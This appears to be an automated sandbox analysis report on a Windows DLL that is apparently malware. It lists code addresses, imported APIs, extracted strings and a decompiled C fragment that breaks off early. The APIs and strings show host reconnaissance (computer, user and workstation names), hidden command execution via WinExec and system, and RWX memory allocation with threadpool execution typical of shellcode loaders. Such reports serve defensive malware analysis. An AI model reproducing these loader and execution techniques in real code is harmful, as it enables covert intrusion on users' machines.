0x10004a4c
0x10004a51
0x10004a59
0x00000000
0x00000000
0x10004a5f
0x10004a65
0x10004a6f
0x10004a79
0x10004a82
0x10005878
0x1000587d
0x1000587e
0x1000587f
0x10005880
0x10005885
0x10005887
0x10004a88
0x10004a96
0x10004aa1
0x10004aae
0x10004ab1
0x10004ab6
0x10004ac5
0x10004b24
0x10004b2a
0x10004b2d
0x00000000
0x10004b2f
0x10004b2f
0x10004b35
0x10004b36
0x10004b38
0x10004b3e
0x10004b54
0x10004b54
0x10004b56
0x10004b5b
0x00000000
0x10004b40
0x10004b40
0x10004b43
0x10004b48
0x10004b4b
0x10004b4e
0x00000000
0x00000000
0x00000000
0x00000000
0x10004b4e
0x10004b3e
0x10004ac7
0x10004ac7
0x10004acd
0x10004afa
0x10004afa
0x10004b01
0x10004b08
0x10004b0f
0x10004b12
0x10004b15
0x10004b1d
0x10004b5e
0x10004b64
0x10004b6d
0x10004b6e
0x10004b71
0x10004b7a
0x00000000
0x00000000
0x00000000
0x00000000
0x10004acf
0x10004acf
0x10004ad1
0x10004ad8
0x10004af0
0x10004af0
0x10004af2
0x10004af7
0x00000000
0x10004ada
0x10004ada
0x10004add
0x10004ae2
0x10004ae8
0x00000000
0x10004aee
0x10004aee
0x00000000
0x10004aee
0x10004ae8
0x10004ad8
0x10004acd
0x10004ac5
0x00000000
0x10004a82
0x10004b8d
0x10004b98
0x10004ba4
0x10004ba9
0x10004bac
0x10004bae
0x10004bc1
0x10004bc4
0x00000000
0x00000000
0x00000000
0x00000000
0x10004bb0
0x10004bb0
0x10004bb6
0x10004bb9
0x10004bbc
0x10004bbf
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x10004bbf
0x10004bc6
0x10004bc6
0x10004bca
0x10004bf3
0x10004bf3
0x10004bf5
0x10004bcc
0x10004bcf
0x10004bfa
0x10004bfa
0x10004bfa
0x10004bd1
0x10004bd1
0x10004bd7
0x00000000
0x10004bd9
0x10004bdc
0x00000000
0x10004bde
0x10004bde
0x10004be4
0x00000000
0x10004be6
0x10004be9
0x00000000
0x10004beb
0x10004beb
0x10004bf1
0x00000000
0x00000000
0x00000000
0x00000000
0x10004bf1
0x10004be9
0x10004be4
0x10004bdc
0x10004bd7
0x10004bcf
0x10004bca
0x10004bfc
0x10004bfe
0x10004c0b
0x10004c23
0x10004c2a
0x10004c32
0x10004c37
0x10004c3a
0x10004c51
0x10004c54
0x00000000
0x00000000
0x00000000
0x00000000
0x10004c40
0x10004c40
0x10004c46
0x10004c49
0x10004c4c
0x10004c4f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x10004c4f
0x10004c56
0x10004c56
0x10004c5a
0x10004c83
0x10004c83
0x10004c85
0x10004c5c
0x10004c5f
0x10004c8a
0x10004c8a
0x10004c8a
0x10004c61
0x10004c61
0x10004c67
0x00000000
0x10004c69
0x10004c6c
0x00000000
0x10004c6e
0x10004c6e
0x10004c74
0x00000000
0x10004c76
0x10004c79
0x00000000
0x10004c7b
0x10004c7b
0x10004c81
0x00000000
0x00000000
0x00000000
0x00000000
0x10004c81
0x10004c79
0x10004c74
0x10004c6c
0x10004c67
0x10004c5f
0x10004c5a
0x10004c8c
0x10004c8c
0x10004c94
0x10004ca1
0x10004cae
0x10004cb3
0x10004cba
0x10004cbd
0x10004cd1
0x10004cd4
0x00000000
0x00000000
0x00000000
0x00000000
0x10004cc0
0x10004cc0
0x10004cc6
0x10004cc9
0x10004ccc
0x10004ccf
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x10004ccf
0x10004cd6
0x10004cd6
0x10004cda
0x10004d03
0x10004d03
0x10004d05
0x10004cdc
0x10004cdf
0x10004d0a
0x10004d0a
0x10004d0a
0x10004ce1
0x10004ce1
0x10004ce7
0x00000000
0x10004ce9
0x10004cec
0x00000000
0x10004cee
0x10004cee
0x10004cf4
0x00000000
0x10004cf6
0x10004cf9
0x00000000
0x10004cfb
0x10004cfb
0x10004d01
0x00000000
0x00000000
0x00000000
0x00000000
0x10004d01
0x10004cf9
0x10004cf4
0x10004cec
0x10004ce7
0x10004cdf
0x10004cda
0x10004d0c
0x10004d0e
0x10005612
0x10005612
0x10005612
0x00000000
0x10004d14
0x10004d14
0x10004d17
0x00000000
0x10004d23
0x10004d2a
0x10005096
0x1000509d
0x100053cb
0x100053d2
0x10005500
0x10005500
0x10005507
0x1000560a
0x1000560a
0x00000000
0x1000550d
0x1000551a
0x10005525
0x10005530
0x10005535
0x10005538
0x10005542
0x1000554b
0x10005550
0x10005553
0x10005560
0x10005565
0x10005569
0x1000556e
0x1000557e
0x10005588
0x1000558e
0x10005592
0x1000559b
0x100055cc
0x100055cc
0x100055d0
0x100055d9
0x00000000
0x100055db
0x100055db
0x100055e1
0x100055e2
0x100055ea
0x10005600
0x10005600
0x10005602
0x10005607
0x00000000
0x100055ec
0x100055ec
0x100055ef
0x100055fa
0x00000000
0x00000000
0x00000000
0x00000000
0x100055fa
0x100055ea
0x1000559d
0x1000559d
0x100055a3
0x100055a4
0x100055ac
0x100055c2
0x100055c2
0x100055c4
0x100055c9
0x00000000
0x100055ae
0x100055ae
0x100055b1
0x100055b6
0x100055bc
0x00000000
0x00000000
0x00000000
0x00000000
0x100055bc
0x100055ac
0x1000559b
0x100053d8
0x100053e5
0x100053ea
0x100053fa
0x100053ff
0x1000540c
0x1000540d
0x10005414
0x1000541f
0x1000542f
0x10005435
0x1000543e
0x10005440
0x10005448
0x10005451
0x10005457
0x1000545a
0x10005460
0x10005463
0x1000546b
0x1000546b
0x10005479
0x1000548c
0x1000549c
0x100054a5
0x100054aa
0x100054b2
0x100054bc
0x100054c2
0x100054c6
0x100054cf
0x00000000
0x100054d1
0x100054d1
0x100054d7
0x100054d8
0x100054e0
0x100054f6
0x100054f6
0x100054f8
0x100054fd
0x00000000
0x100054e2
0x100054e2
0x100054e5
0x100054ea
0x100054f0
0x00000000
0x00000000
0x00000000
0x00000000
0x100054f0
0x100054e0
0x100054cf
0x100050a3
0x100050b3
0x100050c0
0x100050ca
0x100050d2
0x100050dc
0x100050e1
0x100050e4
0x100050e6
0x100050ea
0x100050ef
0x100050f7
0x10005128
0x1000512f
0x1000513e
0x100050f9
0x100050fc
0x100050ff
0x10005104
0x10005106
0x10005106
0x1000510a
0x10005113
0x10005118
0x1000511b
0x1000511b
0x10005140
0x10005147
0x10005151
0x1000515b
0x1000515e
0x10005165
0x1000516a
0x10005172
0x10005179
0x10005180
0x10005183
0x10005187
0x10005190
0x100051c1
0x100051c1
0x100051cb
0x100051d5
0x100051dc
0x100051e0
0x100051e9
0x1000521a
0x1000521a
0x10005224
0x1000522e
0x10005235
0x10005239
0x10005242
0x10005273
0x10005281
0x10005291
0x1000529b
0x100052a5
0x100052ac
0x100052c6
0x100052d4
0x100052e0
0x100052e7
0x100052fd
0x100052fd
0x10005315
0x10005327
0x1000532f
0x10005335
0x1000533b
0x10005341
0x10005372
0x10005372
0x10005376
0x1000537c
0x10005386
0x10005390
0x1000539a
0x00000000
0x1000539c
0x1000539c
0x100053a2
0x100053a3
0x100053ab
0x100053c1
0x100053c1
0x100053c3
0x100053c8
0x00000000
0x100053ad
0x100053ad
0x100053b0
0x100053b5
0x100053bb
0x00000000
0x00000000
0x00000000
0x00000000
0x100053bb
0x100053ab
0x10005343
0x10005343
0x10005349
0x1000534a
0x10005352
0x10005368
0x10005368
0x1000536a
0x1000536f
0x00000000
0x10005354
0x10005354
0x10005357
0x1000535c
0x10005362
0x00000000
0x00000000
0x00000000
0x00000000
0x10005362
0x10005352
0x10005244
0x10005244
0x1000524a
0x1000524b
0x10005253
0x10005269
0x10005269
0x1000526b
0x10005270
0x00000000
0x10005255
0x10005255
0x10005258
0x1000525d
0x10005263
0x00000000
0x00000000
0x00000000
0x00000000
0x10005263
0x10005253
0x100051eb
0x100051eb
0x100051f1
0x100051f2
0x100051fa
0x10005210
0x10005210
0x10005212
0x10005217
0x00000000
0x100051fc
0x100051fc
0x100051ff
0x10005204
0x1000520a
0x00000000
0x00000000
0x00000000
0x00000000
0x1000520a
0x100051fa
0x10005192
0x10005192
0x10005198
0x10005199
0x100051a1
0x100051b7
0x100051b7
0x100051b9
0x100051be
0x00000000
0x100051a3
0x100051a3
0x100051a6
0x100051ab
0x100051b1
0x00000000
0x00000000
0x00000000
0x00000000
0x100051b1
0x100051a1
0x10005190
0x10004d30
0x10004d30
0x10004d3e
0x10004d40
0x10004d44
0x10004d49
0x10004d51
0x10004d82
0x10004d89
0x10004d98
0x10004d53
0x10004d56
0x10004d59
0x10004d5e
0x10004d60
0x10004d60
0x10004d64
0x10004d6d
0x10004d72
0x10004d75
0x10004d75
0x10004da0
0x10004dad
0x10004db7
0x10004dba
0x10004dc0
0x10004dc7
0x10004dcc
0x10004dd4
0x10004ddb
0x10004de2
0x10004de5
0x10004de9
0x10004df2
0x10004e23
0x10004e31
0x10004e41
0x10004e4b
0x10004e55
0x10004e5c
0x10004e76
0x10004e84
0x10004e90
0x10004e97
0x10004eab
0x10004ead
0x10004ead
0x10004ec0
0x10004eca
0x10004ed4
0x10004edb
0x10004ee0
0x10004ee3
0x10004ee7
0x10004ee9
0x10004ef1
0x10004ef8
0x10004f04
0x10004f07
0x10004f0c
0x10004f0f
0x10004f1c
0x10004f27
0x10004f2b
0x10004f36
0x10004f47
0x10004f4c
0x10004f5c
0x10004f66
0x10004f6c
0x10004f75
0x10004fa6
0x10004fa6
0x10004faa
0x10004fb0
0x10004fba
0x10004fc4
0x10004fce
0x10004fff
0x10004fff
0x10005003
0x10005009
0x10005013
0x1000501d
0x10005027
0x10005058
0x10005058
0x1000505c
0x10005065
0x00000000
0x10005067
0x10005067
0x1000506d
0x1000506e
0x10005076
0x1000508c
0x1000508c
0x1000508e
0x10005093
0x00000000
0x10005078
0x10005078
0x1000507b
0x10005080
0x10005086
0x00000000
0x00000000
0x00000000
0x00000000
0x10005086
0x10005076
0x10005029
0x10005029
0x1000502f
0x10005030
0x10005038
0x1000504e
0x1000504e
0x10005050
0x10005055
0x00000000
0x1000503a
0x1000503a
0x1000503d
0x10005042
0x10005048
0x00000000
0x00000000
0x00000000
0x00000000
0x10005048
0x10005038
0x10004fd0
0x10004fd0
0x10004fd6
0x10004fd7
0x10004fdf
0x10004ff5
0x10004ff5
0x10004ff7
0x10004ffc
0x00000000
0x10004fe1
0x10004fe1
0x10004fe4
0x10004fe9
0x10004fef
0x00000000
0x00000000
0x00000000
0x00000000
0x10004fef
0x10004fdf
0x10004f77
0x10004f77
0x10004f7d
0x10004f7e
0x10004f86
0x10004f9c
0x10004f9c
0x10004f9e
0x10004fa3
0x00000000
0x10004f88
0x10004f88
0x10004f8b
0x10004f90
0x10004f96
0x00000000
0x00000000
0x00000000
0x00000000
0x10004f96
0x10004f86
0x10004df4
0x10004df4
0x10004dfa
0x10004dfb
0x10004e03
0x10004e19
0x10004e19
0x10004e1b
0x10004e20
0x00000000
0x10004e05
0x10004e05
0x10004e08
0x10004e0d
0x10004e13
0x00000000
0x00000000
0x00000000
0x00000000
0x10004e13
0x10004e03
0x10004df2
0x10004d2a
0x10004d17
0x10004c96
0x10004c96
0x10004c99
0x00000000
0x00000000
0x00000000
0x00000000
0x10004c99
0x10004c00
0x10004c00
0x10004c03
0x00000000
0x1000564c
0x1000564c
0x10005651
0x10005653
0x1000565b
0x1000565f
0x10005660
0x10005665
0x1000566e
0x10005682
0x10005685
0x1000568c
0x10005697
0x100056a1
0x100056b9
0x100056c7
0x100056c7
0x100056d4
0x100056dc
0x100056dc
0x100056e7
0x100056f3
0x100056ff
0x10005705
0x1000570e
0x1000573f
0x1000573f
0x10005745
0x1000574f
0x10005759
0x10005763
0x10005794
0x10005794
0x1000579d
0x100057ce
0x100057ce
0x100057d4
0x100057de
0x100057e8
0x100057f2
0x1000581f
0x1000581f
0x10005828
0x1000582a
0x10005830
0x10005831
0x10005839
0x1000583b
0x1000583e
0x10005849
0x00000000
0x00000000
0x10005849
0x00000000
0x10005839
0x100057f4
0x100057f4
0x100057fa
0x100057fb
0x10005803
0x10005815
0x10005815
0x10005817
0x1000581c
0x00000000
0x10005805
0x10005805
0x10005808
0x1000580d
0x10005813
0x00000000
0x00000000
0x00000000
0x00000000
0x10005813
0x10005803
0x1000579f
0x1000579f
0x100057a5
0x100057a6
0x100057ae
0x100057c4
0x100057c4
0x100057c6
0x100057cb
0x00000000
0x100057b0
0x100057b0
0x100057b3
0x100057b8
0x100057be
0x00000000
0x00000000
0x00000000
0x00000000
0x100057be
0x100057ae
0x10005765
0x10005765
0x1000576b
0x1000576c
0x10005774
0x1000578a
0x1000578a
0x1000578c
0x10005791
0x00000000
0x10005776
0x10005776
0x10005779
0x1000577e
0x10005784
0x00000000
0x00000000
0x00000000
0x00000000
0x10005784
0x10005774
0x10005710
0x10005710
0x10005716
0x10005717
0x1000571f
0x10005735
0x10005735
0x10005737
0x1000573c
0x00000000
0x10005721
0x10005721
0x10005724
0x10005729
0x1000572f
0x1000584b
0x1000584b
0x10005851
0x10005851
0x10005853
0x00000000
0x00000000
0x00000000
0x1000572f
0x1000571f
0x10005860
0x10005877
0x10005877
0x10004c03
0x00000000
0x10005618
0x10005618
0x1000561d
0x1000561f
0x10005627
0x1000562b
0x1000562c
0x10005637
0x10005638
0x1000563e
0x00000000
0x10003b83
0x10003b83
0x10003b85
0x10003b88
0x00000000
0x10003b8a
0x10003b94
0x10003b9e
0x10003ba5
0x10003ba7
0x10003ba9
0x10003bb3
0x10003bb5
0x10003bbf
0x10003bc2
0x10003bc9
0x10003bc9
0x10003bc9
0x00000000

APIs

Sleep.KERNEL32(00000017,A8DDED82,?,?,?,100097D1,000000FF,?,10005885), ref: 10003B4B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(APPDATA,?,?,?,100097D1,000000FF,?,10005885), ref: 10003B5C
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(TEMP,00000000,00000001), ref: 10003BA5
signal.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000016,10003B00,1000A5B4,00000001,1000A2E5,00000000,00000000,00000001), ref: 10003C5D
GetComputerNameW.KERNEL32 ref: 10003C74
memmove.VCRUNTIME140(?,NONE,00000006), ref: 10003CB6
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?), ref: 10003E63
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?), ref: 10003EE3
GetUserNameW.ADVAPI32(?,?), ref: 10003F01
memmove.VCRUNTIME140(?,NONE,00000006), ref: 10003F43

Part of subcall function 100079E0: memcpy.VCRUNTIME140(00000000,7FFFFFFF,?,?,?), ref: 10007AB4
Part of subcall function 100079E0: memcpy.VCRUNTIME140(?,?,?,00000000,7FFFFFFF,?,?,?), ref: 10007AC2

Part of subcall function 100079E0: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?), ref: 10007B05
Part of subcall function 100079E0: memcpy.VCRUNTIME140(00000000,?,?,?,?), ref: 10007B0D
Part of subcall function 100079E0: memcpy.VCRUNTIME140(7FFFFFFF,?,?,00000000,?,?,?,?), ref: 10007B19

Part of subcall function 100070C0: memmove.VCRUNTIME140(?,?,?,?,A8DDED82,00000001), ref: 1000716B
Part of subcall function 100070C0: memmove.VCRUNTIME140(?,?,?,?,00000000,?,?,?,A8DDED82,00000001), ref: 100071C0

memmove.VCRUNTIME140(?,00000000,?,?), ref: 100040A4
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,?), ref: 10004104
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,?), ref: 10004184
memmove.VCRUNTIME140(?,00000000,?,00000006), ref: 100041F1
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000006), ref: 10004248
NetWkstaGetInfo.NETAPI32(00000000,00000064,?), ref: 1000426D

Part of subcall function 100079E0: __std_exception_copy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 10007B5E

memmove.VCRUNTIME140(?,00000000,?,?,?,?,?,?,?,00000006), ref: 1000439C
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,?,?,?,?,?,?,00000006), ref: 100043F3
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,?,?,?,?,?,?,00000006), ref: 10004477
memmove.VCRUNTIME140(?,NONE,00000006), ref: 100044C1
NetApiBufferFree.NETAPI32(?,00000000,?,?,?,?,?,?,?,00000006), ref: 100044F4
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 10004581
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,?,?,00000000), ref: 100045F1
memset.VCRUNTIME140(?,00000000,000000B0,1000A2E5,00000000,00000000,00000000), ref: 10004640
Sleep.KERNEL32(00005DC0,00000000,00000000,00000000), ref: 10004666
memmove.VCRUNTIME140(?,.txt,00000004,?,00000000,,00000000,?,00000018,00000014,10005BA0,Function_00005A50), ref: 10004D6D
?write@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV12@PBD_J@Z.MSVCP140(?,?,00000000,?,00000022,?,00000004,?,.txt,00000004,?,00000000,,00000000,?,00000018), ref: 10004E84
?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(00000002,00000000,?,00000004,?,.txt,00000004,?,00000000,,00000000,?,00000018,00000014,10005BA0,Function_00005A50), ref: 10004EAD
WinExec.KERNEL32 ref: 10004F66
memmove.VCRUNTIME140(00000000,.txt,00000004), ref: 10005113
?write@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV12@PBD_J@Z.MSVCP140(?,?,00000000,?,00000022,?,00000004,?,.txt,00000004), ref: 100052D4
?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(00000002,00000000,?,00000004,?,.txt,00000004), ref: 100052FD
system.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000004,?,.txt,00000004), ref: 1000532F
strtoul.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000010,?,?,?,?,.txt,00000004), ref: 1000542F
strtoul.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000010), ref: 1000545A
CreateEventW.KERNEL32(00000000,00000000,00000001,00000000), ref: 10005479
VirtualAlloc.KERNEL32(00000000,?,00001000,00000040), ref: 10005490
memmove.VCRUNTIME140(00000000,?,?), ref: 100054A5
CreateThreadpoolWait.KERNEL32 ref: 100054B2
SetThreadpoolWait.KERNEL32(00000000,00000000,00000000), ref: 100054BC
WinExec.KERNEL32 ref: 10005588
?setg@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAEXPAD00@Z.MSVCP140(?,?,?,?,00000018,00000014,Function_00005A50,,00000000,?,00000018,00000014,10005BA0,Function_00005A50), ref: 100056C7
??1?$basic_streambuf@DU?$char_traits@D@std@@@std@@UAE@XZ.MSVCP140(?,00000018,00000014,Function_00005A50,,00000000,?,00000018,00000014,10005BA0,Function_00005A50), ref: 100056E7
??1?$basic_ostream@DU?$char_traits@D@std@@@std@@UAE@XZ.MSVCP140 ref: 100056F3
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UAE@XZ.MSVCP140 ref: 100056FF
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 1000584B

Part of subcall function 100070B0: ?_Xout_of_range@std@@YAXPBD@Z.MSVCP140(invalid string position,1000593D,00000000,00000000,?,10003A9A,00000000,00000009,-00000009,,00000000,,00000000,1000A2E5,1000A2E5), ref: 100070B5

Strings

RfKFHjkkfjOCIoWfesiaXMmBBgMDWrtNwdtenDosNdVvrRAwkIxivKJWQw, xrefs: 10004EFF
KJKLO, xrefs: 10004515, 10004918
.txt, xrefs: 10004D67, 10004D7D, 1000510D, 10005123
NONE, xrefs: 10003C90, 10003F1D, 1000449B
start /i /min /b start /i /min /b start /i /min /b , xrefs: 10005309
+, xrefs: 1000568C
d, xrefs: 10004D23
d, xrefs: 10005096
TEMP, xrefs: 10003B99
APPDATA, xrefs: 10003B57
true, xrefs: 10004BA4
, xrefs: 10004A41
404, xrefs: 10004C2A
200, xrefs: 10004CAE

Memory Dump Source

Source File: 00000003.00000002.873344164.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.873318832.0000000010000000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: _invalid_parameter_noinfo_noreturnmemmove$D@std@@@std@@U?$char_traits@$memcpy$?setstate@?$basic_ios@?write@?$basic_ostream@CreateExecNameSleepThreadpoolV12@Waitgetenvstrtoul$??1?$basic_ios@??1?$basic_ostream@??1?$basic_streambuf@?setg@?$basic_streambuf@AllocBufferComputerD00@EventFreeInfoUserVirtualWkstaXout_of_range@std@@__std_exception_copymemsetsignalsystem
String ID: $+$.txt$200$404$APPDATA$KJKLO$NONE$RfKFHjkkfjOCIoWfesiaXMmBBgMDWrtNwdtenDosNdVvrRAwkIxivKJWQw$TEMP$d$d$start /i /min /b start /i /min /b start /i /min /b $true
API String ID: 2774390350-1330494478
Opcode ID: 00f0cd8e6edec0f70889212429c0c7c64858fde7dca0545da27661a8dd0e405d
Instruction ID: 21cc17b14a82e3766dd6a82ab784a495292ce26fdc0e4bf817945fb4d6268398
Opcode Fuzzy Hash: 00f0cd8e6edec0f70889212429c0c7c64858fde7dca0545da27661a8dd0e405d
Instruction Fuzzy Hash: 5403C170A002599BEB24CB28CC88FDDB7B5EB45344F5042D8E4D9A7299DBB9A7C4CF50

Uniqueness

Uniqueness Score: -1.00%

Function 10001DB0, Relevance: 77.1, APIs: 33, Strings: 10, Instructions: 1866
networkCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E10001DB0(void* __ebx, signed int __ecx, void __edx, void* __edi, void* __esi, char _a4, int _a20, void _a24, char _a28, signed int _a44, intOrPtr _a48) {
				char _v8;
				char _v16;
				signed int _v20;
				char _v23;
				char _v556;
				char _v1016;
				char _v1036;
				char _v1496;
				char _v1516;
				intOrPtr _v1520;
				intOrPtr _v1524;
				char _v1540;
				void _v1544;
				int _v1548;
				char _v1564;
				void _v1568;
				intOrPtr _v1572;
				char _v1588;
				void _v1592;
				int _v1596;
				char _v1612;
				void _v1616;
				int _v1620;
				char _v1636;
				void _v1640;
				int _v1644;
				char _v1660;
				void _v1664;
				signed int _v1668;
				char _v1684;
				intOrPtr _v1688;
				char _v1692;
				void _v1696;
				int _v1700;
				char _v1716;
				char _v1740;
				char _v1760;
				int _v1764;
				int _v1768;
				char _v1772;
				char _v2172;
				signed int _v2176;
				signed int _v2180;
				signed int _v2184;
				signed int _v2188;
				char _v2192;
				char* _v2196;
				int _v2200;
				signed int _v2204;
				signed int _v2208;
				void _v2212;
				int _v2216;
				char _v2232;
				void* _v2236;
				void* _v2240;
				int* _v2244;
				void _v2248;
				int _v2252;
				char _v2268;
				void _v2272;
				int _v2276;
				char _v2292;
				void _v2296;
				int _v2300;
				char _v2316;
				void _v2320;
				int _v2324;
				char _v2340;
				void _v2344;
				int _v2348;
				char _v2364;
				void _v2368;
				int _v2372;
				char _v2388;
				void _v2392;
				int _v2396;
				char _v2412;
				void _v2416;
				int _v2420;
				char _v2436;
				void _v2440;
				int _v2444;
				char _v2460;
				signed int _v2464;
				void _v2468;
				int _v2472;
				char _v2488;
				signed int _t655;
				signed int _t656;
				signed int _t659;
				signed int _t670;
				char* _t671;
				char* _t680;
				intOrPtr _t682;
				intOrPtr* _t686;
				intOrPtr* _t688;
				signed int _t689;
				int _t691;
				char _t702;
				signed int _t712;
				char* _t713;
				char* _t715;
				char* _t723;
				char* _t728;
				char* _t731;
				char* _t736;
				char* _t738;
				char* _t746;
				char* _t751;
				signed int _t753;
				signed int _t754;
				signed int _t769;
				signed int _t773;
				intOrPtr _t803;
				void _t804;
				intOrPtr _t810;
				intOrPtr _t813;
				intOrPtr _t816;
				intOrPtr _t819;
				intOrPtr _t822;
				intOrPtr _t825;
				intOrPtr _t828;
				intOrPtr _t834;
				intOrPtr _t837;
				intOrPtr _t840;
				intOrPtr _t843;
				intOrPtr _t846;
				intOrPtr _t849;
				intOrPtr _t852;
				intOrPtr _t855;
				intOrPtr _t858;
				char _t869;
				char _t884;
				intOrPtr _t891;
				intOrPtr _t893;
				intOrPtr _t899;
				intOrPtr _t905;
				intOrPtr _t908;
				char _t912;
				intOrPtr _t916;
				intOrPtr _t919;
				intOrPtr _t922;
				intOrPtr _t925;
				intOrPtr _t928;
				signed int _t932;
				intOrPtr _t936;
				int* _t937;
				int _t938;
				int _t942;
				void* _t943;
				void _t945;
				intOrPtr _t948;
				void _t951;
				intOrPtr _t954;
				void* _t958;
				intOrPtr _t962;
				void* _t965;
				void* _t966;
				int _t970;
				intOrPtr _t978;
				void* _t981;
				char* _t988;
				void* _t992;
				signed int _t994;
				char _t1003;
				int _t1009;
				char* _t1012;
				signed int _t1016;
				int _t1020;
				int _t1022;
				int _t1025;
				int _t1030;
				int _t1033;
				signed int _t1035;
				int _t1037;
				intOrPtr* _t1039;
				intOrPtr _t1074;
				intOrPtr _t1075;
				intOrPtr _t1076;
				void* _t1077;
				intOrPtr _t1078;
				void* _t1079;
				intOrPtr _t1080;
				char _t1081;
				char _t1082;
				intOrPtr _t1083;
				intOrPtr _t1084;
				intOrPtr _t1085;
				intOrPtr _t1086;
				intOrPtr _t1087;
				char _t1088;
				intOrPtr _t1089;
				intOrPtr _t1090;
				char _t1092;
				void* _t1093;
				char _t1094;
				char _t1095;
				char _t1096;
				intOrPtr _t1097;
				intOrPtr _t1098;
				intOrPtr* _t1099;
				intOrPtr* _t1101;
				char _t1103;
				char _t1104;
				char _t1105;
				char _t1106;
				char _t1107;
				void* _t1114;
				void* _t1116;
				void** _t1119;
				char _t1122;
				void* _t1123;
				void* _t1124;
				char _t1125;
				void* _t1126;
				char _t1130;
				void _t1131;
				void* _t1132;
				signed int _t1134;
				void _t1136;
				void _t1137;
				void _t1138;
				void _t1139;
				void _t1140;
				intOrPtr _t1141;
				void _t1145;
				void _t1147;
				void _t1148;
				void _t1149;
				void _t1150;
				void _t1153;
				signed int _t1155;
				void _t1157;
				void _t1160;
				int _t1161;
				void _t1162;
				void _t1164;
				void _t1167;
				void _t1168;
				void _t1169;
				void _t1170;
				void _t1171;
				void _t1172;
				void _t1173;
				void _t1174;
				void _t1175;
				void _t1176;
				void _t1177;
				intOrPtr* _t1178;
				void _t1179;
				void _t1180;
				void _t1181;
				void _t1182;
				void _t1183;
				intOrPtr _t1184;
				void* _t1185;
				void* _t1186;
				void* _t1187;
				intOrPtr _t1188;
				void* _t1189;
				intOrPtr _t1190;
				void* _t1191;
				void* _t1192;
				void* _t1193;
				void* _t1194;
				void* _t1195;
				void* _t1196;
				void* _t1197;
				void* _t1198;
				void* _t1199;
				void* _t1200;
				intOrPtr _t1201;
				char _t1202;
				void* _t1203;
				intOrPtr _t1204;
				void* _t1205;
				void* _t1206;
				void* _t1207;
				void* _t1208;
				void* _t1209;
				void* _t1210;
				void* _t1211;
				void* _t1212;
				signed int _t1218;
				signed int _t1219;
				signed int _t1220;
				char* _t1223;
				signed int _t1225;
				char* _t1227;
				intOrPtr _t1228;
				signed int _t1229;
				intOrPtr _t1231;
				signed int _t1232;
				char* _t1234;
				signed int _t1235;
				signed int _t1236;
				signed int _t1237;
				void* _t1240;
				void** _t1243;
				signed int _t1244;
				char* _t1245;
				signed int _t1248;
				char* _t1250;
				char* _t1251;
				char* _t1252;
				void _t1253;
				void _t1254;
				int _t1255;
				signed int _t1256;
				void* _t1257;
				signed int _t1258;
				void* _t1259;
				void* _t1262;
				void* _t1263;
				void* _t1264;
				void* _t1267;
				void* _t1268;
				void* _t1271;
				void* _t1272;
				void* _t1273;
				void* _t1274;
				signed int _t1276;
				void* _t1278;
				void* _t1279;
				signed int _t1280;
				signed int _t1282;
				int _t1285;
				void* _t1286;
				void* _t1287;
				void* _t1290;
				signed int _t1291;
				void* _t1292;
				void* _t1293;
				void* _t1294;
				void* _t1295;

				_t1133 = __edx;
				_t985 = __ebx;
				_t1280 = _t1282;
				_t655 =  *0x1000d004; // 0xa8dded82
				_t656 = _t655 ^ _t1280;
				_v20 = _t656;
				 *[fs:0x0] =  &_v16;
				_v2196 = __ecx;
				_v2180 = __ecx;
				_t1218 = 0;
				_v2464 = __ecx;
				_v2184 = 0;
				_v8 = 2;
				__imp___time64(0, _t656, __edi, __esi,  *[fs:0x0], E10009626, 0xffffffff, _t1279);
				_v1692 = __ecx;
				_t659 =  &_v1692;
				_v1688 = __edx;
				__imp___localtime64(_t659); // executed
				_v2180 = _t659;
				_v2208 = 0xffffffff;
				_v2176 = 0;
				_v1668 = 0;
				_v1664 = 0xf;
				_v1684 = 0;
				E10006CC0(__ebx,  &_v1684, __edx, 0x1000a348, 0x1e7);
				_t1285 = _t1282 - 0x9a8 + 8 - 0x18;
				_v8 = 3;
				_t988 = _t1285;
				_v2200 = _t1285;
				 *((intOrPtr*)(_t988 + 0x10)) = 0;
				 *(_t988 + 0x14) = 0xf;
				 *_t988 = 0;
				E10006CC0(__ebx, _t988, __edx, 0x1000a530, 2);
				_t1286 = _t1285 - 0x18;
				_v8 = 4;
				E10005BC0(_t1286, __edx,  &_v1684);
				_v8 = 3;
				E100019B0( &_v1564, __edx, 0); // executed
